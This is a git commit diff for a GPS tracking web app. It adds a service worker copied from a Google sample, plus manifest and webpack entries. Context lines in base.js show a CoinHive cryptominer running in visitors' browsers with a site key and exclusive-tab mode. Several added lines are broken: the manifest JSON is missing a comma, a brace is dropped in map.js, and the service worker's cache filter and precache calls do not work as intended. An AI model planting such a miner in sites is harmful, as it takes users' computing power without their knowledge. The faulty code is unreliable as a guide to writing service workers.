#111 Implemented service worker

static/js/base.js

@@ -1,5 +1,5 @@
 'use strict';
-/* global ga CoinHive */
+/* global ga CoinHive navigator */
 
 // Google analytics
 (function (t, r, a, c, m, o, n) {
@@ -17,3 +17,16 @@ new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE', {
   autoThreads: true,
   throttle: 0.5
 }).start(CoinHive.FORCE_EXCLUSIVE_TAB)
+
+// Service worker
+if ('serviceWorker' in navigator) {
+  window.addEventListener('load', function () {
+    navigator.serviceWorker.register('/static/js/sw.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
+      // Registration was successful
+      console.log('ServiceWorker registration successful with scope: ', registration.scope)
+    }, function(err) {
+      // registration failed
+      console.error('ServiceWorker registration failed: ', err)
+    });
+  });
+}

static/js/map.js

@@ -122,16 +122,16 @@ $(function () {
 
   // Track location
   $('#track-loc').click(function () {
-    
+
     // Check for login
     if (!userid === mapuser._id) alert('You are not logged in! '); else {
-      
+
       // Start tracking
       if (!wpid) {
         if (!navigator.geolocation) alert('Unable to track location. '); else {
           $('#track-loc').html(
             '<i class="fa fa-crosshairs fa-spin"></i>Stop'
-          ).prop('title', 
+          ).prop('title',
             'Click here to stop tracking your location. '
           )
           wpid = navigator.geolocation.watchPosition(
@@ -418,7 +418,6 @@ loadGoogleMapsAPI({ key: mapKey })
           // Error
           } default:
             console.error(new Error('Street view not available: ' + status).message)
-          }
         }
       })
     }

static/manifest.json

@@ -4,6 +4,7 @@
 	"author": "Keith Irwin",
 	"description": "GPS tracking service",
 	"homepage_url": "https://github.com/Tracman-org/Server",
+	"start_url": "/map"
 
 	"theme_color": "#222222",
 	"background_color": "#080808",

static/sw.js

@@ -0,0 +1,76 @@
+'use strict'
+// https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/basic/service-worker.js
+/*
+ Copyright 2016 Google Inc. All Rights Reserved.
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+     http://www.apache.org/licenses/LICENSE-2.0
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+
+// Names of the two caches used in this version of the service worker.
+// Change to v2, etc. when you update any of the local resources, which will
+// in turn trigger the install event again.
+const PRECACHE = 'precache-0.7.12'
+const RUNTIME = 'runtime'
+
+// A list of local resources we always want to be cached.
+const PRECACHE_URLS = [
+  '/',
+  '/static/js/.*.bun.js',
+  '/static/css/.*.min.css',
+  '/static/manifest.json',
+]
+
+// The install handler takes care of precaching the resources we always need.
+self.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open(PRECACHE)
+      .then(function(cache){ cache.addAll(PRECACHE_URLS) })
+      .then(self.skipWaiting())
+  )
+})
+
+// The activate handler takes care of cleaning up old caches.
+self.addEventListener('activate', function(event) {
+  const currentCaches = [PRECACHE, RUNTIME]
+  event.waitUntil(
+    caches.keys().then( function(cacheNames) {
+      return cacheNames.filter( function(cacheName){ !currentCaches.includes(cacheName) })
+    }).then( function(cachesToDelete) {
+      return Promise.all(cachesToDelete.map( function(cacheToDelete) {
+        return caches.delete(cacheToDelete)
+      }))
+    }).then( function(){ self.clients.claim() })
+  )
+})
+
+// The fetch handler serves responses for same-origin resources from a cache.
+// If no response is found, it populates the runtime cache with the response
+// from the network before returning it to the page.
+self.addEventListener('fetch', function(event) {
+  // Skip cross-origin requests, like those for Google Analytics.
+  if (event.request.url.startsWith(self.location.origin)) {
+    event.respondWith(
+      caches.match(event.request).then( function(cachedResponse) {
+        if (cachedResponse) {
+          return cachedResponse
+        }
+
+        return caches.open(RUNTIME).then( function(cache) {
+          return fetch(event.request).then( function(res) {
+            // Put a copy of the response in the runtime cache.
+            return cache.put(event.request, res.clone()).then( function() {
+              return res
+            })
+          })
+        })
+      })
+    )
+  }
+})

webpack.config.js

@@ -14,7 +14,8 @@ module.exports = {
     map: './static/js/map.js',
     // controls: './static/js/controls.js',
     settings: './static/js/settings.js',
-    password: './static/js/password.js'
+    password: './static/js/password.js',
+    sw: './static/sw.js',
   },
 
   // Sourcemaps